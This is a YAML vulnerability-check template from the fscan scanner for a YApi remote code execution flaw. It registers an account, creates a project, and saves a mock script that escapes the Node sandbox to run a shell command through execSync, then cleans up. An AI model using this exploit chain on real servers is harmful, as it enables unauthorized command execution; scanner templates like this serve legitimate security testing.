Files
fscan/webscan/pocs/yapi-rce.yml
T
ZacharyZcR 71b92d4408 feat: v2.1.0 核心重构与功能增强
## 架构重构
- 全局变量消除,迁移至 Config/State 对象
- SMB 插件融合(smb/smb2/smbghost/smbinfo)
- 服务探测重构,实现 Nmap 风格 fallback 机制
- 输出系统重构,TXT 实时刷盘 + 双写机制
- i18n 框架升级至 go-i18n

## 性能优化
- 正则表达式预编译
- 内存优化 map[string]struct{}
- 并发指纹匹配
- SOCKS5 连接复用
- 滑动窗口调度 + 自适应线程池

## 新功能
- Web 管理界面
- 多格式 POC 适配(xray/afrog)
- 增强指纹库(3139条)
- Favicon hash 指纹识别
- 插件选择性编译(Build Tags)
- fscan-lab 靶场环境
- 默认端口扩展(62→133)

## 构建系统
- 添加 no_local tag 支持排除本地插件
- 多版本构建:fscan/fscan-nolocal/fscan-web
- CI 添加 snapshot 模式支持仅测试构建

## Bug 修复
- 修复 120+ 个问题,包括 RDP panic、批量扫描漏报、
  JSON 输出格式、Redis 检测、Context 超时等

## 测试增强
- 单元测试覆盖率 74-100%
- 并发安全测试
- 集成测试(Web/端口/服务/SSH/ICMP)
2026-01-11 20:16:23 +08:00

85 lines
3.2 KiB
YAML

name: poc-yaml-yapi-rce
set:
redemail: randomLowercase(15)
redpassword: randomLowercase(15)
redproject: randomLowercase(8)
redinterface: randomLowercase(10)
r1: randomLowercase(10)
r2: randomLowercase(10)
r3: randomLowercase(10)
r4: randomLowercase(10)
rules:
- method: POST
path: /api/user/reg
headers:
Content-Type: application/json;charset=UTF-8
follow_redirects: true
body: |
{"email":"{{redemail}}@qq.com","password":"{{redpassword}}","username":"{{redemail}}"}
expression: |
response.status == 200 && response.headers["Set-Cookie"].contains("_yapi_token=") && response.headers["Set-Cookie"].contains("_yapi_uid=") && response.body.bcontains(bytes(redemail))
- method: GET
path: /api/group/list
search: |
"_id":(?P<group_id>.+?),
expression: |
response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(bytes("custom_field1"))
- method: POST
path: /api/project/add
headers:
Content-Type: application/json;charset=UTF-8
body: |
{"name":"{{redproject}}","basepath":"","group_id":"{{group_id}}","icon":"code-o","color":"cyan","project_type":"private"}
search: |
tag":\[\],"_id":(?P<project_id>.+?),
expression: |
response.status == 200 && response.body.bcontains(bytes("成功!")) && response.body.bcontains(bytes(redproject))
- method: GET
path: /api/project/get?id={{project_id}}
search: |
"_id":(?P<catid>.+?),
expression: |
response.status == 200 && response.body.bcontains(bytes("成功!"))
- method: POST
path: /api/interface/add
headers:
Content-Type: application/json;charset=UTF-8
body: |
{"method":"GET","catid":"{{catid}}","title":"{{redinterface}}","path":"/{{redinterface}}","project_id":{{project_id}}}
search: |
"_id":(?P<interface_id>.+?),
expression: |
response.status == 200 && response.body.bcontains(bytes("成功!")) && response.body.bcontains(bytes(redinterface))
- method: POST
path: /api/plugin/advmock/save
headers:
Content-Type: application/json;charset=UTF-8
body: |
{"project_id":"{{project_id}}","interface_id":"{{interface_id}}","mock_script":"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo {{r1}}${{{r2}}}{{r3}}^{{r4}}\").toString()","enable":true}
expression: |
response.status == 200 && response.body.bcontains(bytes("成功!"))
- method: GET
path: /mock/{{project_id}}/{{redinterface}}
expression: |
response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4)))
- method: POST
path: /api/project/del
headers:
Content-Type: application/json;charset=UTF-8
body: |
{"id":{{project_id}}}
expression: |
response.status == 200
detail:
author: tangshoupu
info: yapi-rce
links:
- https://github.com/YMFE/yapi/issues/2229